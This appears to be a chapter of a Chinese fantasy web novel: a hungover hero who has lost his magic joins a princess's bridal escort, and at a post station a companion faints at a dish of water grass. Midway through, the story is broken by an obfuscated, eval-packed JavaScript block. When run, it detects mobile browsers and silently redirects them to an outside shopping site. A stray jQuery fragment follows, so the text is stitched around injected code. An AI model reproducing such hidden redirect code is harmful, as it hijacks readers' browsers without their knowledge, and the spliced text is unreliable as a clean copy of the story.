苍遥再睁眼,是被云沐叫醒的。他身处一间客房中,听着屋外的嘈杂,呆呆地望着屋顶,久久不说话。
“什么时候出发?”苍遥问道。
云沐道:“辰时三刻从宁贺宫出发,在都城巡礼后,于巳时从白虎门走。”
苍遥道:“知道了。”说罢便指向自己的一袭红衣,欲将它变回原来的样子。
昨日对燕奉德所说,都是假的。
尴尬的是,他对着自己的衣服施法,法力却一点也使不出来,苍遥知道是因醉酒所至,暗自摇了摇头。
他讪笑道:“沐姑娘,我没有衣服换了。穿这身去送亲,不太妥当。”
云沐早已将要换的衣服备好,拿给他道:“苍大哥,你知不知道你穿这样一身衣服赴宴,有多不合时宜?若是被夏国的人知道了,会给公主带来多大麻烦?”
苍遥接过衣服,微笑道:“姑娘教训的是。”
他将衣物换好便出门,云沐正等在门口。
云沐道:“苍大哥,我给你熬了粥,吃些东西咱们便去殿前候着吧。”
苍遥问道:“玉儿在哪?”
云沐道:“她还在在望月楼,云溪正陪着。”
昨夜苍遥在席上大醉之后,墨朝烽便命人将苍遥扶至客房,之后墨玉不放心,又命云沐前去照料,云沐见他一副新郎装扮,便连夜找了身男装备上。
苍遥随便吃了几口粥,腹中又是一阵翻涌,将吃下去的东西吐个干净。
苍遥苦笑道:“昨晚喝得太多,恐怕法力也得有几日才能恢复。”
云沐无奈道:“真不知该说你什么好……”
苍遥忽想起什么般,问道:“玉儿她没怪我吧?”
墨玉昨晚着实被吓到,席上的酒名为迎风醉,是烈酒中的烈酒,当日宋朗来时,不过喝了一坛便烂醉如泥。燕奉德、墨朝烽这般酒中豪杰,喝过四五坛坛也不省人事。而苍遥一口气喝了十五坛酒,这还不算他在桌上抢来的酒。
纵使再知道他有异能,也不禁吸了口凉气,墨玉昨晚根本没空怪他,满心只有担忧。
云沐本想将墨玉的焦急模样告诉他,转念一想,又道:“她让我转告你,别再这样。”
苍遥道:“以后再也不喝了。”
二人一同到了殿前,护送队伍整装待发,苍遥到燕奉德跟前打招呼,燕奉德见他一副寻常公子的打扮,暗松口气,但对他仍是一副冷脸。
苍遥凑到他跟前,便要对他耳语,燕奉德一个激灵,跳出半丈远。
“说话就说话,别凑这么近!”
苍遥本就疲惫的脸上显得更加疲惫,用尽力气道:“我要说的话,不想被人听到。”
燕奉德皱起眉头,示意他到一旁,二人在一棵大树下,四周没有别人。
“要说什么?”燕奉德没有一丝好气。
苍遥又要凑上去,直接被一把推开,他双足一软,坐倒在地。
这一幕倒使燕奉德乱了方寸。
“你别装啊。”
苍遥起身拍拍屁股,无奈道:“我法力尽失,得过几日才能恢复,这几日的护卫工作只能交给你了。”
燕奉德怒道:“你干什么吃的?大事当前,怎能让自己法力全失?”
苍遥幽怨地望着他道:“你说呢?”
燕奉德这才反应过来,苍遥遭受此劫,乃醉酒所致。而将他致于此种境地的,也有自己一份功劳。
“本来也没指着你,你就乖乖跟着队伍,听我调遣。”
苍遥倒不担心墨玉安危,毕竟没人会蠢到与这一支精锐之师为敌,墨玉自己也有一技傍身,只是云溪被一群妖道盯上,他也不知会发生什么。
二人回到阵前待命,许久之后,墨朝烽从殿内走出,众人向其行礼,他朗声道:“此番路途遥远,辛苦各位!”
一众高呼,势若奔雷。墨朝烽向燕奉徳而去,握住他的手道:“燕将军,你我二人既是君臣,亦是兄弟,我不再向你说虚话,只求你保护好我妹妹。”
此番言辞恳切,燕奉徳不禁动容:“皇上,玉儿自小随我习武,我们名为师徒,实际也把她当个小妹妹看。请你放心,燕某于公于私,都不会有辱使命。”
墨朝烽郑重地点点头,又到苍遥跟前。
“苍道长,此刻我不是一国之君,只是玉儿的哥哥。你之前救过玉儿性命,墨某始终欠你个人情。若日后有用得上墨某的,墨某一定全力相助。”
墨朝烽自降身份,燕奉徳在一旁着实不快,他生怕墨朝烽这番说辞,仍换不来苍遥丝毫尊重。
二人都瞧着苍遥,只见他抿起嘴巴,眉头紧锁,燕奉徳正要动怒,却听“哇”的一声,苍遥又开始弯腰呕吐。
若非墨朝烽躲闪及时,苍遥便要吐在他身上。众人见他这般模样,无不厌恶,墨朝烽也没忍住皱起眉头,只差踢他一脚。
云沐本想上前帮他,但看到墨朝烽的不悦神情,只得缩在一旁。燕奉徳已实在懒得说他,便静静地看着,等他恢复。
苍遥吐到最后,又干呕几下才缓缓起身,用衣袖擦了擦嘴巴,才对墨朝烽拱手道:“皇兄,失礼了,别见怪。”
岂止是失礼,可以说在苍遥面前,无礼可言。墨朝烽的思想一时抛了锚,想到:“不知以往的君主里,有没有人被如此对待过?”他继而向前,向礼部成员确认些送亲细节,自此再未与苍遥搭话。
苍遥拍拍燕奉德的肩膀道:“他刚才是不是生气了?我真的不是故意的。”
燕奉德仰起头,长叹一声道:“神女大人啊,我有罪。”说罢耸了耸肩,仿佛沾到了什么脏东西。
这时仪仗队缓缓而至,墨玉被拥在中间,与护卫队在殿门外汇合。
离别时刻总是短暂,再多时间也不够用,墨玉与墨朝烽单独在一起待了一阵,苍遥远远望去,见墨玉时而大笑,时而抹泪,终在相拥一瞬后,墨玉便向一顶金色长轿而去。
临上轿前,墨玉瞧了苍遥一眼,莞尔一笑,接着云溪与云沐便将帐幕掀起,墨玉便钻了进去。
辰时三刻,起轿出宫,燕奉德骑着高头大马,领一半军士在前开路,仪仗队与金色长轿在中间,之后跟着另一半军士,苍遥跟在队伍最后。
临行前,苍遥对墨朝烽道:“皇兄,你尽可放心。我对玉儿情义深重,绝不会做出令她为难之事。”
墨朝烽握住他的双手,一句话也没有说,只郑重地点头。
苍遥又道:“还有就是……我刚才真不是故意的!”
百姓无论老小,都到了街上。送亲队伍自出了宁贺宫后,所到之处,锣鼓喧天。
城中彩带漫天飘舞,宁国史上最得人心的公主,仅在十六岁便要嫁去别国,百姓们说不上是喜是悲,只一味祝福,吉祥的语句一声高过一声。
墨玉从轿中探出脑袋,不停向街边百姓挥手,笑容始终挂在脸上,绕城巡了一周,送亲队伍便向白虎门而去。
刚出城门,墨玉便从轿中钻出,命队伍停下。燕奉德从马上跨下,小跑到她跟前,只见墨玉已换了身常服,腰配宝剑。
“公主,这是搞得哪一出?”燕奉德如是道。
墨玉扩了扩肩膀,笑道:“我坐不惯轿子,大家一起走。”
她一边说一边向后张望,虽离得很远,却也能依稀看到苍遥身影。
燕奉德知道拗不过她,便道:“如此也好。”
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558572|204143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
路西行,墨玉与云沐、云溪嬉笑着一道行走,正午之时,便到驿馆。此处临近都城,虽是官驿,但因平日旅人众多,也在此为旅人提供食宿。
此处由一名驿丞管事,驿卒十五人,早在几日前便被通知公主行程,近几日再无接待旅人。
云溪早与母亲和芦笙说好在此会合,一并前往夏国,趁着休息,墨玉找到苍遥,邀请他同桌用餐。
“苍大哥,你好些了么?”
苍遥用足气力道:“我很好,一点问题都没有。”
燕奉徳“嚯”了一声,便呷了口茶。
墨玉嗔怪道:“以后不能再那样饮酒了,你都不知道,我昨天看到那些空酒坛,简直吓了一跳。”
随即她便将苍遥海饮之事告诉云母与芦笙,苍遥只觉异常丢人。
此时驿丞走近几人道:“今日得见公主尊容,实乃三生有幸。”一圆头圆脑的中年男子走来,搓着双手,目光在墨玉和云沐、云溪之间反复横扫。他不知谁是墨玉,只认定公主必在这三人当中。
自出了都城,燕奉徳便打起十二分精神,冷冷道:“你只管上菜,别关心其他事情。”
“大人说得有理。这几日伙计们都没敢休息,就盼着今日呢。”那驿丞谄道。
墨玉一桌由驿丞负责,馆外的送亲队伍由驿卒负责,那驿丞精神抖擞,不停在后厨与大堂间穿梭,没一会便将菜上齐。
“小人昨日去河边捞了些稀罕东西,请公主尝尝鲜。”说罢他又去后厨端出个白瓷盆,满脸堆笑道:“这东西看着模样丑,却是人间绝味。平日里这东西只长在水中,盘根错节,捞也捞不出,几年才难得有机会在岸边采到。公主鸿福齐天,刚说要驾临此处,小人便采到了这稀罕东西。”
这倒使墨玉来了兴致,她不知几年才能碰到一次的食材如何鲜美,满怀期待。
那驿丞将瓷盆放在餐桌中间,一股香气扑鼻而来,众人朝盆中望去,只见里面浮着几条粗壮的、绿莹莹的长草,活似几条青蛇,瞧上去极不舒服。
“扑通”一声,芦笙便栽倒在地。云溪忙道:“公主,快叫他撤下去。”
墨玉瞧向驿丞,那驿丞眼疾手快,忙将那瓷盆端回后厨,墨玉忙问道:“怎么回事?”
云溪扶着芦笙坐回凳子上,芦笙却怎么都不肯坐,只瑟瑟发抖。
“没……没事,大家坐着,我在外面等。”
苍遥起身,一手将芦笙搂住道:“卢兄,我陪你出去。”
云溪坐回原处,对墨玉道:“公主,方才那东西名叫‘蛇灵草’。”
墨玉疑惑道:“蛇灵草?难不成有剧毒?”
驿丞一个激灵,忙从后厨奔出,跪下道:“公主,小人以性命担保,这东西绝对没问题!”
燕奉徳道:“没人说你有问题。”
那驿丞仍是不敢起身,偷瞄着墨玉,墨玉道:“对不起,我吓到你了。我只是随口问问,你快回后厨吧。”
驿丞这才松了口气,忙回厨房当中。
云溪这才再开口:“正如驿丞所说,蛇灵草是稀罕物,一般都长在深水中。笙哥的爹爹之前被淹死,捞上来时,身上布满了这东西。那时笙哥还小,之后便受了刺激,可以说蛇灵草是他最害怕的物事。”
云母道:“有一次在岸边见到蛇灵草,阿笙便吓得魂飞魄散,那时旁人还笑话他,说他不识货……谁知这孩子最见不得的,就是这玩意儿。”
云溪道:“大家吃饭吧,不管他了,估计笙哥且得缓一日才能好。”
墨玉与云沐听了,只觉不可思议。她们自认识芦笙以来,便觉芦笙虽性格内敛,却是个顶天立地的男子汉,谁知他最害怕的,竟是一株水草。